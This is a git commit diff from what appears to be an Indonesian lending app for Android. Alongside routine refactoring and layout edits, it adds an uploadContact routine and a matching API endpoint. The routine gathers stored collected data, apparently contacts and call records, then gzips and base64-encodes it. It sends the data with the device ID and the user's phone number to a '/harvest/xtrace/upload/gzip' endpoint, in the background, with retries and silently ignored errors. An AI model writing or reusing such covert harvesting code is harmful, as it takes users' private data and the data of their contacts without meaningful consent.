Commit 2f97771b by sikang

http upload

parent eff71c8d
...@@ -36,6 +36,9 @@ public class BasePresenter<T> { ...@@ -36,6 +36,9 @@ public class BasePresenter<T> {
apiService = ServiceGenerator.getService(service); apiService = ServiceGenerator.getService(service);
} }
protected T getApiService() {
return apiService;
}
@SuppressLint("CheckResult") @SuppressLint("CheckResult")
public void bindIView(IView view) { public void bindIView(IView view) {
......
...@@ -52,11 +52,11 @@ public class DataBaseHelper { ...@@ -52,11 +52,11 @@ public class DataBaseHelper {
if (ctx == null) { if (ctx == null) {
throw new IllegalArgumentException("context cannot be null"); throw new IllegalArgumentException("context cannot be null");
} }
if (context != ctx) {
context = ctx; context = ctx;
resolver = ctx.getContentResolver(); resolver = ctx.getContentResolver();
mLocationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
mLocationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); }
} }
/** /**
...@@ -347,6 +347,7 @@ public class DataBaseHelper { ...@@ -347,6 +347,7 @@ public class DataBaseHelper {
} }
//SDK-NOLOG-START //SDK-NOLOG-START
/** /**
* 取出一条通话记录 * 取出一条通话记录
*/ */
...@@ -447,8 +448,6 @@ public class DataBaseHelper { ...@@ -447,8 +448,6 @@ public class DataBaseHelper {
} }
private static long readLastUpdateTime(Cursor cursor) { private static long readLastUpdateTime(Cursor cursor) {
long lastUpdateTime = 0; long lastUpdateTime = 0;
......
...@@ -10,9 +10,12 @@ import retrofit2.http.FormUrlEncoded; ...@@ -10,9 +10,12 @@ import retrofit2.http.FormUrlEncoded;
import retrofit2.http.GET; import retrofit2.http.GET;
import retrofit2.http.Header; import retrofit2.http.Header;
import retrofit2.http.Multipart; import retrofit2.http.Multipart;
import retrofit2.http.POST;
import retrofit2.http.PUT; import retrofit2.http.PUT;
import retrofit2.http.Part; import retrofit2.http.Part;
import retrofit2.http.Path;
import retrofit2.http.Query; import retrofit2.http.Query;
import retrofit2.http.Url;
import com.common.bean.BasicAck; import com.common.bean.BasicAck;
import com.common.bean.OcrResultBean; import com.common.bean.OcrResultBean;
...@@ -82,10 +85,17 @@ public interface UploadApi { ...@@ -82,10 +85,17 @@ public interface UploadApi {
/** /**
* 上传其他证明图片 * 上传其他证明图片
* @param action ADD:添加、 MODIFY:更新 、DELETE:删除 *
* @param action ADD:添加、 MODIFY:更新 、DELETE:删除
*/ */
@Multipart @Multipart
@PUT("/record/files-extra") @PUT("/record/files-extra")
Observable<ResponseBody> uploadOtherPhoto(@Part MultipartBody.Part file, @Query("fileType") String fileType, @Query("fileIndex") int fileIndex, @Query("fileAction") String action); Observable<ResponseBody> uploadOtherPhoto(@Part MultipartBody.Part file, @Query("fileType") String fileType, @Query("fileIndex") int fileIndex, @Query("fileAction") String action);
@FormUrlEncoded
@POST("/harvest/xtrace/upload/gzip")
Observable<ResponseBody> uploadContact(@Field("imei") String imei,
@Field("mobile") String mobile,
@Field("messageBody") String messageBody);
} }
\ No newline at end of file
...@@ -4,19 +4,32 @@ import android.content.Context; ...@@ -4,19 +4,32 @@ import android.content.Context;
import android.graphics.Bitmap; import android.graphics.Bitmap;
import android.support.annotation.NonNull; import android.support.annotation.NonNull;
import android.text.TextUtils; import android.text.TextUtils;
import android.util.Base64;
import android.util.Log;
import com.annimon.stream.Stream;
import com.annimon.stream.function.BiFunction;
import com.common.Collector;
import com.common.bean.CollectInfoEntity;
import com.common.bean.PhotoListBean; import com.common.bean.PhotoListBean;
import com.common.toolbox.tracker.TrackEvent; import com.common.toolbox.tracker.TrackEvent;
import com.google.gson.Gson; import com.google.gson.Gson;
import java.io.File; import java.io.File;
import java.util.ArrayList;
import java.util.List; import java.util.List;
import io.reactivex.Observable; import io.reactivex.Observable;
import io.reactivex.ObservableSource; import io.reactivex.ObservableSource;
import io.reactivex.Observer;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.disposables.Disposable;
import io.reactivex.functions.Consumer;
import io.reactivex.functions.Function; import io.reactivex.functions.Function;
import io.reactivex.schedulers.Schedulers;
import okhttp3.MultipartBody; import okhttp3.MultipartBody;
import okhttp3.ResponseBody;
import tech.starwin.LibConfig; import tech.starwin.LibConfig;
import tech.starwin.base.BasePresenter; import tech.starwin.base.BasePresenter;
import tech.starwin.impl.HttpObserver; import tech.starwin.impl.HttpObserver;
...@@ -29,7 +42,10 @@ import com.google.gson.JsonObject; ...@@ -29,7 +42,10 @@ import com.google.gson.JsonObject;
import tech.starwin.utils.LoginManager; import tech.starwin.utils.LoginManager;
import tech.starwin.network.tools.MultipartBodyMaker; import tech.starwin.network.tools.MultipartBodyMaker;
import tech.starwin.utils.PreferencesManager; import tech.starwin.utils.PreferencesManager;
import tech.starwin.utils.PresenterHoler;
import tech.starwin.utils.RetryWithDelay;
import tech.starwin.utils.TrackEventHelper; import tech.starwin.utils.TrackEventHelper;
import tech.starwin.utils.collection.GZipUtil;
import tech.starwin.utils.context_utils.AppInfoUtils; import tech.starwin.utils.context_utils.AppInfoUtils;
/** /**
...@@ -230,4 +246,39 @@ public class UploadPresenter extends BasePresenter<UploadApi> { ...@@ -230,4 +246,39 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
} }
/**
* 上传联系人
*/
public void uploadContact(String action, Context context) {
Observable.just(true)
.observeOn(Schedulers.io())
.map(aBoolean -> {
//获取需要上传的数据
List<CollectInfoEntity> infos = Collector.getUploadWhitOutLogs(context.getApplicationContext());
//压缩、base64、组装
List<String> datas = Stream.of(infos)
.map(collectInfoEntity -> GZipUtil.compress(collectInfoEntity.getBody(), "utf-8"))
.map(bytes -> Base64.encodeToString(bytes, 0))
.reduce(new ArrayList<>(), (array, value) -> {
array.add(value);
return array;
});
return datas;
})
.retryWhen(new RetryWithDelay(5, 20 * 1000))
.map(strings -> {
List<Observable<ResponseBody>> infoList = new ArrayList<>(strings.size());
//每种数据一个请求
for (String info : strings) {
infoList.add(getApiService().uploadContact(AppInfoUtils.getAndroidID(context), LoginManager.get().getMobile(), info)
.onErrorReturn(throwable -> null));
}
//开始上传,只上传一次,失败了忽略
handleRequest(action, Observable.zip(infoList, objects -> true));
return true;
})
.observeOn(AndroidSchedulers.mainThread())
.onErrorReturn(throwable -> false)
.subscribe();
}
} }
...@@ -23,7 +23,7 @@ ...@@ -23,7 +23,7 @@
<ScrollView <ScrollView
android:layout_width="280dp" android:layout_width="280dp"
android:scrollbars="none" android:scrollbars="none"
android:layout_height="420dp"> android:layout_height="wrap_content">
<LinearLayout <LinearLayout
android:layout_width="280dp" android:layout_width="280dp"
...@@ -56,7 +56,7 @@ ...@@ -56,7 +56,7 @@
android:layout_width="wrap_content" android:layout_width="wrap_content"
android:layout_height="wrap_content" android:layout_height="wrap_content"
android:layout_marginTop="10dp" android:layout_marginTop="10dp"
android:text="@string/text_collect_desc" /> android:text="@string/policy_desc" />
</LinearLayout> </LinearLayout>
</ScrollView> </ScrollView>
......
...@@ -104,7 +104,7 @@ ...@@ -104,7 +104,7 @@
<string name="text_loan_amount">Jumlah Pinjaman</string> <string name="text_loan_amount">Jumlah Pinjaman</string>
<string name="text_repayment_time">Jatuh Tempo</string> <string name="text_repayment_time">Jatuh Tempo</string>
<string name="policy_title">Yth Seluruh Pengguna kami, terima kasih sudah mempercayai dan menggunakan! kami memiliki kebijakan privasi yang sesuai dengan UU yang berlaku, Mohon untuk dibaca dan dipahami syarat dan ketentuan sebelum meng klik untuk menyetujui.sehingga anda dapat memahami kebijakan dan hak yang anda miliki</string> <string name="policy_title">Yth Seluruh Pengguna kami, terima kasih sudah mempercayai dan menggunakan!</string>
<string name="policy_desc">kami memiliki kebijakan privasi yang sesuai dengan UU yang berlaku, Mohon untuk dibaca dan dipahami syarat dan ketentuan sebelum meng klik untuk menyetujui.sehingga anda dapat memahami kebijakan dan hak yang anda miliki</string> <string name="policy_desc">kami memiliki kebijakan privasi yang sesuai dengan UU yang berlaku, Mohon untuk dibaca dan dipahami syarat dan ketentuan sebelum meng klik untuk menyetujui.sehingga anda dapat memahami kebijakan dan hak yang anda miliki</string>
<string name="text_receiving_bank">Nama Bank Penerima</string> <string name="text_receiving_bank">Nama Bank Penerima</string>
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment